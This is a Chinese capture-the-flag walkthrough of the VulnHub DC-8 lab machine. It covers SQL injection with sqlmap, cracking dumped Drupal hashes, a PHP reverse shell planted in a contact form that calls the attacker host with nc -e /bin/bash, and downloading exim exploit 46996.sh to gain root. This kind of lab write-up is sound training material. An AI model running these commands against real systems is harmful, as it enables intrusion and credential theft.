前言
这次练习的靶机是vulnhub平台下的DC系列靶机第8台,下载地址为https://www.vulnhub.com/entry/dc-8,367/。挑战该靶机的最终目的是获取root权限,然后读取唯一的flag。这台靶机的总体难度不大,利用的漏洞也是常见的,只要细心观察就可以发现这个突破口。
虚拟机配置
这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击DC-8靶机,然后选中配置。依次点击网络配置
->NAT模式
->高级
->生成
,然后确认即可。
收集信息
nmap -sn --min-parallelism 200 --min-hostgroup 256 192.168.119.0/24
-sn 代表存活主机扫描,不进行端口测探。
–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。
–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。
更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
发现靶机的IP地址为 192.168.119.169
,然后用nmap对靶机进行详细地扫描。
nmap -A -sV -p- --min-parallelism 100 192.168.119.169
-A 代表综合性扫描,能收集很多重要的信息
-sV 代表扫描主要的服务信息
-p- 参数p是指定端口,后面的
-
代表所有端口。
发现开放了 80
端口和 22
端口,还发现了一些敏感目录。用浏览器打开网页进一步收集更多的信息。
看网页上面的提示,这些英文翻译如下:
非常重要的信息
在我们解决一些悬而未决的问题时,该网站将在未来几周中断。
给您带来的不便,我们深表歉意。
这个网站关闭了一些功能,但是还展示几个页面。点击这些页面看看有没有数据交互的地方,因为在数据交互的地方很有可能会存在漏洞。
SQL注入
在点击 Welcome to DC-8
时发现地址栏中出现了一个参数 nid
,这个地方很可能会出现sql注入。可以在这个参数值中加一个引号或双引号,看看会不会报错,如果报错则说明存在sql注入漏洞。
在nid参数值中添加一个单引号后出现了报错,并且把sql语句也显出了出来,这很明显存在sql注入漏洞。接下来可以使用sqlmap把数据库中的账号查出来。
sqlmap -u "192.168.119.169/?nid=1" -p nid --dbs
-p 指定有sql注入漏洞的参数。
–dbs 表示列出所有数据库名称。
information_schema是mysql的默认数据库,存储一些mysql的配置信息。所以该网站的数据库就是d7db,接下来查询一下d7db中的表名。
sqlmap -u "192.168.119.169/?nid=1" -p nid -D d7db --tables
-D 指定要查询的数据库
–tables 列出所有表名
发现有一个叫users的表,账号和密码应该存在这个表中,查询一下该表中的数据。
sqlmap -u "192.168.119.169/?nid=1" -p nid -D d7db -T users --dump
-T 指定要查询的表名
–dump 列出表中详细信息
现在已经将admin和john的密文查询出来了,接下来可以通过john爆破这两个密码了。
爆破密码
首先将这两个密码写入一个文件中。
echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z'>pass.txt
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF'>>pass.txt
然后用john爆破密文。
john pass.txt
从上图中看已经爆破出了密码 turtle
,经过测试这个密码是john的密码。也可以用john --show pass.txt
来查看已经爆破出的密码。
反弹shell
首先登陆网站的后台,该网站的后台地址为 http://192.168.119.169/user/login
。
登陆后应该寻找可以写入php代码的地方,只有能执行代码的地方才能建立反弹shell。经过多次尝试后发现按照下列步骤操作能执行php代码。
然后在文本框中写入代码:
<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.119.130 4443")
?>
其中必须要有能显示的文字才能执行php代码。因为该内容是在用户提交数据后显示的内容,如果没有能显示的内容,则这一部分内容将不会被引用,那么代码也就不会执行。
然后在本地监听4443端口。
rlwrap nc -lvnp 4443
然后在 Contact Us
的view中随便填写数据,然后提交。
提交数据后就会显示刚刚填写在文本框中的内容,其中php代码也会跟着执行,所以这时候反弹shell也就建立了。然后再执行一下命令升级一下shell。
python -c 'import pty;pty.spawn("/bin/bash")'
提权
尝试一下suid提权,首先搜索一下具有s权限的文件。
find / -perm -u=s -type f -exec ls -la {
} \; 2>/dev/null
suid提权详细内容可以参考:https://cloud.tencent.com/developer/article/1600994
发现了一个比较特别文件exim4,用searchsploit搜索一下,看看能不能使用这个文件提权。首先查看一下exim的版本。
exim --version
发现版本号是4.89,用searchsploit搜索一下该版本的利用程序。
searchsploit exim
把 46996.sh
复制到当前文件夹,并查看一下该文件中的注释,因为在注释中有说明使用方法,同时将该文件中的换行符换成unix格式的换行符。
searchsploit -m 46996.sh
vim 46996.sh
:set ff=unix
该程序有两种方法来获取root权限,可以在提权的时候都尝试一下。现在需要将该文件上传到靶机中,首先在该提权文件目录执行一下命令。
python3 -m http.server 80
该命令相当于开启一个web网站,可以供其他主机下载。
然后将46996.sh下载至靶机。
cd /tmp
wget 192.168.119.130/46996.sh
赋予46996.sh执行权限,并按照注释中提示的方法执行该程序。执行程序后等待一会儿就提权成功了。要注意的是如果没有提权成功可以多尝试几次,提权成功后过一会儿又会失去root权限。
chmod +x 46996.sh
./46996.sh -m netcat
提权成功,读取flag。
cd /root
cat flag.txt
参考文献
[1] https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。
[2] https://cloud.tencent.com/developer/article/1600994